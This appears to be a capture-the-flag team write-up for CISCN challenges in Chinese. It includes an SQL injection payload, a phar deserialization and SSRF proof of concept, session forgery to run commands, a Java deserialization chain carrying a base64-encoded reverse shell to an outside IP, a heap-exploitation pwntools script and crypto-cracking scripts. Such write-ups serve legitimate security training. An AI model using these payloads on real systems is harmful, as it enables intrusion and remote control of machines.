为积极响应国家网络空间安全人才战略,加快攻防兼备创新人才培养步伐,提升学生攻防兼备的网络创新实践能力,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学生信息安全意识,提高学生的网络空间安全创新能力与实践技能,推动网络空间安全生态体系的人才培养和产学研用。为积极响应国家网络空间安全人才战略,加快攻防兼备创新人才培养步伐,提升学生攻防兼备的网络创新实践能力,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学生信息安全意识,提高学生的网络空间安全创新能力与实践技能,推动网络空间安全生态体系的人才培养和产学研用。本校的代表队圣地亚哥皮蛋队参加了本次比赛并取得了一等奖的好成绩
welcomeToCiscn
ezsql
ezphp
Easy_Java
会聊天的ctf
pika
eazy
RunFaster
duck
crystal
flag : flag{61ee5435b6f59d42329ac2644d887dc2}
直接输入队名得到flag:
肉眼看即可
flag : flag{10f686daa3d5013808849502f1d0314d}
一血,随便输入用户名和密码即可登录:
**在 **http://192.168.166.133:58004/app/addcustomer_typeHandler.php 存在 sql 注入(报错注入):
没有任何过滤直接上 payload:
add_customer_type=&customer_type_name='||updatexml(1,concat(0x7c,(select substr(`[email protected]`,1,30) from f0ig_wdp435s.fllaaagggg),0x7c),1))#&customer_type_number=+846249039add_customer_type=&customer_type_name='
||updatexml(1,concat(0x7c,(select substr(`[email protected]`,31,30) from f0ig_wdp435s.fllaaagggg),0x7c),1))#&customer_type_number=+846249039
最后flag为 flag{10f686daa3d5013808849502f1d0314d}
flag : flag{f0dde995076795bd51679dce7cf7b908}
目录扫描发现 upload.php 这几个文件:
访问 upload.php 得到源码:
<?php
highlight_file(__FILE__);
header("content-type:text/html;charset=utf-8"); //设置编码
error_reporting(0);
include "config.php";
ini_set("max_execution_time","5");
//flag in flag.php
if(strlen($_FILES['file']['tmp_name'])>0){
$filetype = $_FILES['file']['type'];
$tmp = $_FILES['file']['tmp_name'];
$content=file_get_contents($tmp);
if (preg_match("/<\?|php/i", $content )){ // gzip 绕过 <?
echo "go away!!!! hacker";
exit();
}
$filepath="storage/";
if( $filetype=="image/gif" ){
$random_name=substr(md5(time()), 0, 8);
if(move_uploaded_file($tmp,$filepath.$random_name.".gif")){
echo "上传成功:路径在: ./".$filepath.$random_name.".gif";
}else{
echo "上传失败";
}
}
else{
echo "invalid gif";
}
}
function checkimg($img){
$check=getimagesize($img);
if (($check!=false) && ($check['mime'] == 'image/gif')){
echo "safe image";
}
else{
echo "go away hacker";
}
}$img=$_GET["img"];
if (isset($img)){
checkimg($img);
}
<?php
highlight_file(__FILE__);
class Mysql{
public $conn;
public $dbhost;
public $dbusername;
public $dbpasswd;
public function __construct()
{
if(isset($_POST['dbhost'])&&isset($_POST['dbusername'])&&isset($_POST['dbpasswd']))
{
$this->dbhost=$_POST['dbhost'];
$this->dbusername=$_POST['dbusername'];
$this->dbpasswd=$_POST['dbpasswd'];
}
}
public function connect()
{
$this->conn=new mysqli($this->dbhost,$this->dbusername,$this->dbpasswd);
if($this->conn->connect_error)
{
echo "Connection failed: {$this->conn->connect_error}";
return False;
}
$result=$this->conn->query("select * from test");
if(is_resource($result))
{
return $result->fetch_assoc();
}
else
{
return False;
}
}
public function __destruct()
{
$this->conn->close();
}
}
getimagesize 函数可以触发 phar 反序列化,猜测应该是需要反序列化 Mysql 这个类。
根据提示,访问 flag.php 发现需要 ssrf:
我们可以利用 upload.php 中的 Mysql 类,配合原生类 SoapClient 构造ssrf,如下给出poc:
<?php
class Mysql{
public $conn;
public $dbhost;
public $dbusername;
public $dbpasswd;
public function __construct()
{
if(isset($_POST['dbhost'])&&isset($_POST['dbusername'])&&isset($_POST['dbpasswd']))
{
$this->dbhost=$_POST['dbhost'];
$this->dbusername=$_POST['dbusername'];
$this->dbpasswd=$_POST['dbpasswd'];
}
} public function connect()
{
$this->conn=new mysqli($this->dbhost,$this->dbusername,$this->dbpasswd);
if($this->conn->connect_error)
{
echo "Connection failed: {$this->conn->connect_error}";
return False;
}
$result=$this->conn->query("select * from test");
if(is_resource($result))
{
return $result->fetch_assoc();
}
else
{
return False;
}
}
public function __destruct()
{
$this->conn->close();
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new Mysql();
$object->conn = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'uri'=>'http://127.0.0.1/flag.php'));
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
**生成的 phar.phar 需要使用 **gzip phar.phar
,以绕过 if (preg_match("/<\?|php/i", $content )){
的检测:
上传 phar.gif 即可:
然后通过 getimagesize 函数触发 phar 反序列化:
http://192.168.166.133:58003/upload.php?img=phar://./storage/077af71f.gif
**然后访问 **http://192.168.166.133:58003/flag.txt 即可得到flag:
flag : flag{40590A377DFB8FB41D81BB88C560065C}
题目给出源码,进行代码审计
发现很简单明了的反序列化入口
发现很简单明了的反射调用,在 ToStringBean 的 toString 方法下,这个类继承了 Serialize 接口,可以直接用来反序列化
这里可以发现,我们的利用点已经有了,我们也经常遇到这种的情况,利用 toString 方法中的内容来实现进一步的反序列化pop链的构造,比如 ROME、TiedMapEntry 等等,我们这里看一下版本号,1.8,
然后选择一条到toString的反序列化利用链进行构造即可,整体题目难度极低..
因为这里和 ROME 链相似(几乎一模一样)具体的反序列化触发的细节就不写了,首先是本地通,这里主要是修了一下这里 ToStringBean 的类型,做了一个强制类型转换,让他能进 bavee
这里主要是本地通了以后遇到了很多坑,首先是URL编码,这里命令执行的方式被坑了一顿,最后参考了 D^3CTF 的那道 Shorter,用下面这样的形式结合 javassist 实现了反弹shell
String cmd = "java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDQuMTQuMTYwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}\");";
,这道题的 Payload 也不用缩短,简直一气呵成,Payload 如下:
package com.game.ctf.Utils;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class CISCN {
public CISCN() throws Exception {
}
public static class StubTransletPayload extends AbstractTranslet {
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <ObjectBean> void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(StubTransletPayload.class)));
CtClass clazz = pool.get((StubTransletPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDQuMTQuMTYwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ObjectBean ToStringBean = (ObjectBean) new ToStringBean(Templates.class, templates);
//构造BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("lsf");
//反射将恶意的ObjectBean设置进BadAttributeValueExpException中
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,ToStringBean);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(badAttributeValueExpException);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}
打进去,反弹shell即可
激动地拿了一个二血,弹完 shell 激动的字都打不利索了TAT
flag : flag{642dc20f71b7bfd8503a8b2f0a21a174}
开局上来存在ssrf,使用file://协议读取文件:
# 读取 index.html
{ "你好": {"string": "你好ctfer!"}, "我要看奥特曼": {"image": "file:///var/www/html/index.html"}, "一加一等于几":{"calc":"1+1"} }
# 读取 api.php
{ "你好": {"string": "你好ctfer!"}, "我要看奥特曼": {"image": "file:///var/www/html/api.php"}, "一加一等于几":{"calc":"1+1"} }
base64 解码得到 api.php 的源码如下:
<?php
init();
function init(){
$sesspath = "/tmp/session"; // 设置 session 存储路径
session_save_path($sesspath);
session_start();
if (!$_SESSION['cname'])
$_SESSION['cname'] = 'ck';
if(!file_dir_exists("/tmp/resource"))
mkdir("/tmp/resource");
}function file_dir_exists($path){
$dir = dir($path);
if ($dir)
if ($dir->read())
return true;
return is_file($path);
}
function getres($input){
log_write($input);
chdir("/tmp/resource/");
$path = $_SESSION['cname'];
if(!file_dir_exists($path)){
return "请先上传词库文件。";
}
$ck = json_decode(file_get_contents($path),true);
foreach ($ck as $key => $value){
if (strstr($key,$input) or strstr($input,$key)){
$type = key($value);
$v = $value[$type];
switch ($type){
case "string":
return $v;
case "image":
$b64img = '<img src="data:image/png;base64,'.base64_encode(file_get_contents($v)) . '"/>';
return $b64img;
case "calc":
if ($_SESSION['is_admin']){ // 需要设置 $_SESSION['is_admin'] 才能使用 eval 执行代码
if (preg_match("/\(|\)|\'|\"/im",$v)){
return "包含非法字符";
}
return eval("return $v;");
}else{
return "admin才能使用这个功能";
}
default:
return "这个动作暂时还没能实现";
}
}
}
return "没有匹配到词库消息";
}
function uploadc(){ // 可以写文件
$data = $_POST['uploadc'];
$filename = $_POST['cname'];
$resourcedir = "/tmp/resource/";
if(!file_dir_exists($resourcedir))
mkdir($resourcedir);
if(strpos($data,"<")){
die("别这样!");
}
if(strpos($filename,".")){
die("别这样!");
}
$_SESSION['cname'] = $filename;
if(file_put_contents($resourcedir.$filename,$data)) {
return "上传成功";
}else{
return "上传失败";
}
}
function log_write($msg){
$logpath = "log.txt";
$oper = session_id();
$opername = substr($oper,0,1) ;
for ($i=0;$i <= strlen($oper);$i++)
$opername .= "*";
file_put_contents($logpath,"$opername : $msg \n",FILE_APPEND);
}
if(isset($_POST['input']))
echo getres($_POST['input']);
if(isset($_POST['uploadc']))
echo uploadc();
if(isset($_POST['clear']))
file_put_contents("log.txt","");
if(isset($_GET['log']))
echo file_get_contents("log.txt");
题目很简单,我们直接使用 uploadc() 在 /tmp/session 中写入session,从而伪造 admin:
cname|s:2:"ck";is_admin|b:1;
然后使用 4b3rak0n3l7068da9f4luq2o01 替换 cookie 里的 PHPSESSID 即可成为管理员:
然后直接通过 php 中的反引号执行系统命令即可获得flag:
{ "你好": {"string": "你好ctfer!"}, "我要看奥特曼": {"image": "file:///tmp/session/sess_4b3rak0n3l7068da9f4luq2o01"}, "一加一等于几":{"calc":"`/readflag`"} }
flag : flag{d6246d1f41fad032ee30193f3af15408}
stegsolve
导出来
解码
Pikalang编码,解码即可
最后得到 flag{d6246d1f41fad032ee30193f3af15408}
flag : flag{a9462922e5da8ef93d213c33168881c5}
w型栅栏+凯撒
MD5一下即可
flag{a9462922e5da8ef93d213c33168881c5}
flag : flag{0ed7bc5c61e32c10e082abd2b5589a22}
第一层 一次一密,可以在网上搜到 AFCTF 的一道题目,用到的是 Many-Time-Pad 攻击,原题脚本跑不出来,搜一下就可以找到一些好的解释文章,可以看到详细的脚本
![image-20220620101157856](file://C:\Users\Administrator\Desktop\re&pwn\writeup%E5%9C%A3%E5%9C%B0%E4%BA%9A%E5%93%A5%E7%9A%AE%E8%9B%8B.assets\image-20220620101157856.png?lastModify=1657426243)
https://www.ruanx.net/many-time-pad/
import Crypto.Util.strxor as xo
import libnum, codecs, numpy as npdef isChr(x):
if ord('a') <= x and x <= ord('z'): return True
if ord('A') <= x and x <= ord('Z'): return True
return False
def infer(index, pos):
if msg[index, pos] != 0:
return
msg[index, pos] = ord(' ')
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')
dat = []
def getSpace():
for index, x in enumerate(c):
res = [xo.strxor(x, y) for y in c if x!=y]
f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
cnt = [f(pos) for pos in range(len(x))]
for pos in range(len(x)):
dat.append((f(pos), index, pos))
c = [codecs.decode(x.strip().encode(), 'hex') for x in open('ciphertext.txt', 'r').readlines()]
msg = np.zeros([len(c), len(c[0])], dtype=int)
getSpace()
dat = sorted(dat)[::-1]
for w, index, pos in dat:
infer(index, pos)
print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))
得出的结果
O1, The grand =ld Duke of York,
H< had ten tho'sand men; He mar
c1ed them up t= the top of the
h0ll, And he m3rched them down
a>ain. And whe< they were up, t
h<y were up, A<d when they were
=own, they we e down, And when
-hey were onl+ half-way up, Th
e were neithe up nor down. OK
再进行修复
import Crypto.Util.strxor as xo
import libnum, codecs, numpy as npdef isChr(x):
if ord('a') <= x and x <= ord('z'): return True
if ord('A') <= x and x <= ord('Z'): return True
return False
def infer(index, pos):
if msg[index, pos] != 0:
return
msg[index, pos] = ord(' ')
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')
def know(index, pos, ch):
msg[index, pos] = ord(ch)
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(ch)
dat = []
def getSpace():
for index, x in enumerate(c):
res = [xo.strxor(x, y) for y in c if x!=y]
f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
cnt = [f(pos) for pos in range(len(x))]
for pos in range(len(x)):
dat.append((f(pos), index, pos))
c = [codecs.decode(x.strip().encode(), 'hex') for x in open('ciphertext.txt', 'r').readlines()]
msg = np.zeros([len(c), len(c[0])], dtype=int)
getSpace()
dat = sorted(dat)[::-1]
for w, index, pos in dat:
infer(index, pos)
# 需要根据结果进行修正
know(1, 1, 'e')
know(4, 14, 'n')
print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))
key = xo.strxor(c[0], ''.join([chr(c) for c in msg[0]]).encode())
print(key)
得出解压密码
Oh, The grand old Duke of York,
He had ten thousand men; He mar
ched them up to the top of the
hill, And he marched them down
again. And when they were up, t
hey were up, And when they were
down, they were down, And when
they were only half-way up, Th
ey were neither up nor down. OK
b'[email protected][email protected][email protected][email protected][email protected]'
** 解压后搜了一下发现是Linux系统加密的格式和一个字典**
根据加密逻辑写出利用字典的爆破脚本
import cryptdata = []
s = []
m = []
with open('data.txt','r',encoding='utf-8') as file:
for i in file:
h = i.strip()
data.append(h)
h = h.split("$")
s.append(h[2])
m.append(h[3])
for n in range(len(s)):
with open('minirockyou.txt','r',encoding='utf-8') as file1:
for ii in file1:
mima = ii.strip()
t = crypt.crypt(mima,'$1${}'.format(s[n]))
if t == data[n]:
print(mima,end=' ')
得到提示
the second letter of each word in this list in order,也就是查看每个单词第二个字母的意思,挨个找出每个单词的第二个字母然后计算值就好了。
flag{md5(heefaonhinr)}即可
flag{0ed7bc5c61e32c10e082abd2b5589a22}
flag : flag{693edf4763ef4cdd4f152794028b7f5e}
浅谈glibc新版本保护机制及绕过方法 – 绿盟科技技术博客 (nsfocus.net)
按照这个思路去打,uaf tcachebin attack
#encoding = utf-8
import os
import sys
import time
from pwn import *
#from LibcSearcher import * context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\x00'))
uu64 = lambda data :u64(data.ljust(8,'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
local = 1
if local:
p = process([b"./ld.so", b"./pwn"], env={"LD_PRELOAD":b"./libc.so.6"})
else:
p = remote(ip,port)
'''
if local:
#p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi",binary])
p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
p = remote(ip,port)
'''
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def choice(cho):
sla('Choice: ',cho)
def add():
choice(1)
def delete(idx):
choice(2)
sla('Idx: \n',idx)
def show(idx):
choice(3)
sla('Idx: \n',idx)
def edit(idx,size,content):
choice(4)
sla('Idx: \n',idx)
sla('Size: \n',size)
p.sendafter('Content: \n',content)
def pwn():
add()#0
#gdb.attach(p)
delete(0)
show(0)
key = u64(ru('\x0a')[-5:].ljust(8,b'\x00'))
heap_base = key*0x1000
print('heapbase='+hex(heap_base))
print('key='+hex(key))
for i in range(10):
add()
for i in range(1,9):
delete(i)
show(8)
libc_base = u64(ru('\x0a')[-6:].ljust(8,b'\x00'))-0x1f2cc0
print(hex(libc_base))
'''
0xda861 execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL
[r12] == NULL || r12 == NULL0xda864 execve("/bin/sh", r13, rdx)
constraints:
[r13] == NULL || r13 == NULL
[rdx] == NULL || rdx == NULL
0xda867 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'
''
fk = libc_base + 0x1f4560+0x60#libc.sym['__free_hook']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
og = libc_base + 0xda864
pl = p64((fk)^key)
edit(7,len(pl),pl)
add()#11
add()#12
pl = p64(og)*2
edit(12,len(pl),pl)
print(hex(fk))
li = libc_base + 0x1f4570
pl = p64(stdout^key)
delete(9)
edit(9,len(pl),pl)
#gdb.attach(p)
add()#13
add()#14
pl = p64(0)*8
edit(14,len(pl),pl)
#delete(11)
itr()
'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
if(local == 1):
p = process(binary)
else:
p = remote(ip,port)
continue
'''
if __name__ == '__main__':
pwn()
flag : flag{d6246d1f41fad032ee30193f3af15408}
一个python写的exe程序
使用工具解包
反编译crystal.cp39-win_amd64.pyd
根据crystal找到sub_180005240,结合right!wrong字符串看函数的逻辑
分析程序有一个hex编码功能的函数,,
是换了编码表的
查看字符串,有三个比较可疑的数字,跟进发现有间接的赋值
将这些继续跟进
找到后面的处理
然后向前分析,
输入32位长度的字符
然后对字符进行一个切片
前半部分赋值给qword_18000F910
经过一个异或调用前面功能函数进行解码得到一串数字
然后又有一顿操作
把我们输入的后半部分进行相同的操作
异或的值发生了变化
然后进行验证
根据流程写出解密脚本:
hex_table = '8ed4bc0123a567f9'#变异的hex编码表
n628 = 6282682509
n452 = 4524798713
n883 = 8835858143def hex_encode(n):#变异的hex编码
str1 = ''
while n:
str1 += hex_table[n % 16]
n //= 16
return str1
def main_encode(num0,num4):
#主逻辑
cry = 0
a, b= 2, 1
for i in range(1, num0, 30):
for i in range(i, min(i+30, num0+1)):
num1 = n628 * i**2
cry += num1
num2 = n452 * i
cry += num2
num3 = n883 + a
cry += num3
a, b = b, a+b
crycry = hex_encode(cry).encode()
byte_cry = bytearray(crycry)
for i in range(len(byte_cry)):
byte_cry[i] ^= num4
text = byte_cry.decode()
return text
flag = main_encode(1000,7)
flag += main_encode(2000,1)
print(flag)